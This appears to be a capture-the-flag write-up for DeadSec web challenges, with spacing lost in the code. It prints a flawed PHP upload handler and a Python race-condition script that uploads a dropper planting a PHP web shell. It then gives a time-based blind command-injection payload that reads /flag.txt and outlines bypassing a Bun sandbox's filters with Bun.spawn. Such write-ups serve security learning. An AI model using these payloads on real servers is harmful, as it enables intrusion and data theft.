<?phpsession_start();functionis_malware($file_path){ $content =file_get_contents($file_path);if (strpos($content,'<?php')!==false) {returntrue; }returnfalse;}functionis_image($path, $ext){// Define allowed extensions $allowed_extensions = ['png','jpg','jpeg','gif'];// Check if the extension is allowedif (!in_array(strtolower($ext), $allowed_extensions)) {returnfalse; }// Check if the file is a valid image $image_info =getimagesize($path);if ($image_info ===false) {returnfalse; }returntrue;}if (isset($_FILES)&&!empty($_FILES)) { $uploadpath ="tmp/"; $ext =pathinfo($_FILES["files"]["name"],PATHINFO_EXTENSION); $filename =basename($_FILES["files"]["name"],".". $ext); $timestamp =time(); $new_name = $filename .'_'. $timestamp .'.'. $ext; $upload_dir = $uploadpath . $new_name;if ($_FILES['files']['size'] <=10485760) {move_uploaded_file($_FILES["files"]["tmp_name"], $upload_dir); } else {echo $error2 ="File size exceeds 10MB"; }if (is_image($upload_dir, $ext)&&!is_malware($upload_dir)){ $_SESSION['context'] ="Upload successful"; } else { $_SESSION['context'] ="File is not a valid image or is potentially malicious"; }echo $upload_dir;unlink($upload_dir);}?>
From code above we can see that there is upload feature and we can upload anything to the server. The extension validation and is_malware validation doesnt affect anything in the upload process because it is only change the value of session context. The problem is our file will be deleted directly once we've uploaded it. But in this case we can trigger race condition by sending many request for upload and access the php at the same time because we know the filename (timestamp known). The file that we will access will put another backdoor that will not be deleted by the upload.php, so it will act like a dropper. The backdoor dropped will be base code to access custom function and parameter. Below is the code i used to trigger race condition by utilizing threading
import requestsfrom threading import Threadimport timebase_url ="https://b515a0c0722574e498521800.deadsec.quest/"defbrute(): x =1whileTrue: r = requests.get(f"{base_url}/tmp/tmp_{int(time.time())}.php")if r.status_code !=404:print(f'ACCESSED! -> {str(r.status_code)}')else:print(f'[{str(x)}] attempt -> {str(r.status_code)}')# time tolerance r = requests.get(f"{base_url}/tmp/tmp_{int(time.time()-1)}.php")if r.status_code !=404:print(f'ACCESSED! -> {str(r.status_code)}')else:print(f'[{str(x)}] attempt -> {str(r.status_code)}')# time tolerance r = requests.get(f"{base_url}/tmp/tmp_{int(time.time()+1)}.php")if r.status_code !=404:print(f'ACCESSED! -> {str(r.status_code)}')else:print(f'[{str(x)}] attempt -> {str(r.status_code)}') x +=1defupload():whileTrue: resp = requests.post(f"{base_url}/upload.php", files={"files": ("tmp.php", b'<?php file_put_contents("lol.php", "<?=\$_GET[x](\$_GET[y]);?>");')}, )Thread(target=upload).start()Thread(target=upload).start()Thread(target=upload).start()Thread(target=upload).start()Thread(target=upload).start()Thread(target=brute).start()Thread(target=brute).start()Thread(target=brute).start()
We can see that there is 200 OK response, lets take a look on /tmp/ directory.
Now there is lol.php, lets call the system function using lol.php.
Our input will be passed to os.system function so we can do command injection on host parameter. Looking at dockerfile we know that the container is python:3.11-slim-buster and it use /bin/sh as the shell. Because we cannot see the output we can utilize time based blind command injection to leak the flag. In this case we use payload below
if [ "$(cat/flag.txt|cut-c{})"="{}" ]; thensleep5; fi
The first curly brace is the column number for the data that we want to leak
For example if flag.txt is DEAD, so cut -c 1 will be D
The second curly brace is the value that we want to validate, for example is D
if the first column value and validated value is same the sleep will be triggered
From my connection the sleep will be more than 7 is sleep 5 executed , so i use the different time is 7 to validate it. Below is my script for approach above
I’ve created a super secure sinkless buntime, is it really secure?
Solution
There is no source code given, the preview of the website looks like a interpreter for Bun. There are multiples WAF in the website, below are the WAF that i've found
Input WAF
Limited by length (maximum 50)
Output WAF
Cannot directly show output for most cases
Specific Function WAF
Most of Sync function are prohibited
Currently eval on Bun cannot execute await, so we need to find another way to do RCE. During the competition we can trigger the RCE using Bun.spawn but we cannot read any file. Although we can bypass the output WAF using throw exception but we still cannot pass the RCE from spawn to read from through exception. The fastest way to get flag that we've found is using approach below
Create shell script for program below
Read flag per character and write it to /tmp/
Execute the shell script and remove the shell script
Trigger directory listing and get the character shown in directory